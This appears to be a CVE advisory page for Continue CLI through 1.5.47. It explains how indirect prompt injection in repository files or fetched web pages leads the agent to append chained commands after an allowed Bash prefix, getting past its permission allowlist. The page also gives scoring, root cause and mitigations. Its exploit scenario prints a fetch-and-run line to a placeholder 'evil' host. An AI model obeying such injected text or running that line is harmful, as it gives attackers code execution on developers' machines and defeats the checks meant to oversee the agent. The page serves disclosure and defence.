Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessPoison repository file or fetched web page
-
DeliveryVictim runs Continue CLI agent on content
-
ExploitAgent appends command after allowed Bash prefix
-
ExecutionChained command bypasses permission rule
-
ImpactArbitrary code executes as the user
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V8 - Authorization Authorization logic validation
MITRE ATT&CK
1 technique across 1 tactic: Privilege Escalation The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires: (1) a Continue CLI instance (version ≤ 1.5.47) configured with at least one allowed Bash prefix rule that the attacker can chain onto - without an existing allow rule there is nothing to piggyback; (2) the agent processing attacker-controlled content, specifically a repository file or a fetched web page carrying injected instructions (indirect prompt injection); and (3) the victim actually running the agent against that content (UI:P). Limiting factors: no attacker authentication is needed (PR:N), but the attack depends on the operator having enabled a permissive Bash allowlist and on the agent being pointed at poisoned input, so default usage without Bash command approval rules is not exposed. |
| Impact | This is a genuine, moderately high-priority issue for the specific population that runs the Continue CLI agent on untrusted inputs. The CVSS 4.0 vector (AV:N/AC:L/AT:P/PR:N/UI:P, VC:H/VI:H/VA:H, score 7.7 High) correctly reflects that a successful bypass yields full code execution as the invoking user (all three vulnerable-system impacts High) with no scope change. The signals are internally consistent rather than conflicting: AV:N and PR:N indicate the malicious instructions arrive over the network (a repository file or fetched page) with no attacker authentication, while AT:P (attack requirement present) and UI:P (passive user interaction) correctly encode the real preconditions - the victim must run the agent against attacker-controlled content, and there must already be an allowed Bash prefix rule to chain commands onto. No EPSS score, CISA KEV entry, or POC flag was supplied in the input, so there is no public exploit identified at time of analysis and no evidence of active or widespread exploitation; the primary corroboration is the VulnCheck advisory, GitHub issue #13288, and direct source references to permissionChecker.ts and policyWriter.ts, which confirm the root cause (CWE-863 incorrect authorization) at the code level. Net: this is a real and credible agent-sandbox-escape / prompt-injection-to-RCE class flaw, not a theoretical high-CVSS inflation, but its realistic blast radius is bounded by the need for a pre-existing allowlist rule and for the agent to process poisoned content. |
| Exploit ScenarioDerived | A developer uses Continue CLI with a Bash prefix allow rule (e.g. permitting 'git status'). An attacker plants hidden instructions in a public repository's README or a web page the agent fetches; the agent, following those instructions, emits an allowed prefix followed by '; curl http://evil/sh | sh', which passes the permission check and executes arbitrary code as the developer. No public exploit code is identified at time of analysis, but the root cause is documented in the VulnCheck advisory and the vendor's source. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Oct 12, 2026
Continue CLI through 1.5.47 can be tricked into executing commands outside its approved Bash prefix rules when an unauthenticated attacker injects instructions into repository files or fetched web pages that the agent processes; the agent then chains an unapproved command after ;, &&, or |, resulting in code execution as the user. Exploitation requires that the operator has configured at least one permissive Bash allow rule, that the agent is pointed at attacker-controlled content, and that the victim runs the agent against that content, so default installations without Bash approval rules are not exposed. No public exploit identified at time of analysis; the issue is rated CVSS 7.7 and is a genuine, moderately high-priority concern for users running the Continue CLI agent on untrusted inputs.
RemediationAI
No exact fixed version is identified in the supplied intelligence; monitor the VulnCheck advisory, GitHub issue #13288, and the Continue repository for a vendor-released patched version and upgrade beyond 1.5.47 once confirmed. Until a fix is available, disable or tightly constrain Bash prefix allow rules so that no allowed prefix can be followed by command-chaining operators, or remove Bash allow rules entirely and require explicit manual approval for every command, which reduces automation and increases approval prompts. Additional compensating controls include running the Continue CLI agent in a sandboxed container or VM with least privilege, blocking or restricting the agent from ingesting untrusted repository files or fetched web pages, and monitoring agent command logs for unexpected ;, &&, and | chaining. These controls trade off convenience and may break some agent workflows, but they directly address the indirect prompt-injection and command-chaining path described in the advisory.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The root cause is CWE-863 (Incorrect Authorization) in Continue CLI's permission-checking logic. The referenced code in extensions/cli/src/permissions/permissionChecker.ts (lines 162-174) and policyWriter.ts (lines 18-31) shows the allowlist is intended to approve Bash commands by prefix, but it does not properly account for shell command-chaining operators such as ;, &&, and |. Because the CLI agent can be influenced by indirect prompt injection from content in a repository file or a fetched page, an attacker can cause the agent to append an arbitrary command after an allowed prefix. The vulnerable component is the @continuedev/continue CLI (Continue CLI) up to and including 1.5.47; no CPE identifiers were supplied. The CVSS 4.0 vector (AV:N/AC:L/AT:P/PR:N/UI:P) and the independent CVSS 3.1 assessment (AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H) both indicate remote, unauthenticated exploitation with user interaction and high confidentiality, integrity, and availability impact. The VulnCheck advisory and GitHub issue #13288 provide further context.
Know when the next one hits your stack
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Payload is delivered via remote repo/web content (AV:N); AC:H and UI:R because a pre-existing Bash allow rule and the victim running the agent on poisoned content are required; command runs as the user yielding full C/I/A impact with no scope change.
Primary rating from Vendor (vulncheck).
CVSS VectorVendor: vulncheck
DescriptionCVE.org
Continue CLI (@continuedev/cli) through 1.5.47 contains a permission bypass vulnerability that allows attackers to run unapproved commands by chaining them after allowed Bash prefix rules. Attackers can inject instructions into repository files or fetched pages so the agent appends commands after ;, && or | to execute code as the user.
Executive ViewAI
The Continue CLI developer agent (versions through 1.5.47) can be manipulated into running commands outside its approved Bash allow-list when it processes attacker-influenced repository files or fetched web pages, resulting in code execution with the privileges of the developer running the tool. Exposure is limited to environments where operators have configured permissive Bash allow rules and point the agent at untrusted content; default installations without such rules are not affected. Because no vendor patch is currently available and the tool is typically run by engineering staff with access to source code, credentials, and build systems, leadership should treat this as a priority configuration and monitoring issue for any team using the Continue CLI on external or third-party content.
No vendor-released patch identified at time of analysis. Interim mitigations: remove or strictly minimize permissive Bash allow rules (the primary exposure precondition), run the Continue CLI only in an isolated container or dedicated low-privilege host with no access to production credentials or secrets, restrict outbound network egress, avoid directing the agent at untrusted repositories, pull requests, or web content, and monitor for anomalous chained shell commands or unexpected child processes spawned by the CLI.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.
EUVD-2026-97883
GHSA-f54m-g39v-qf2p
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB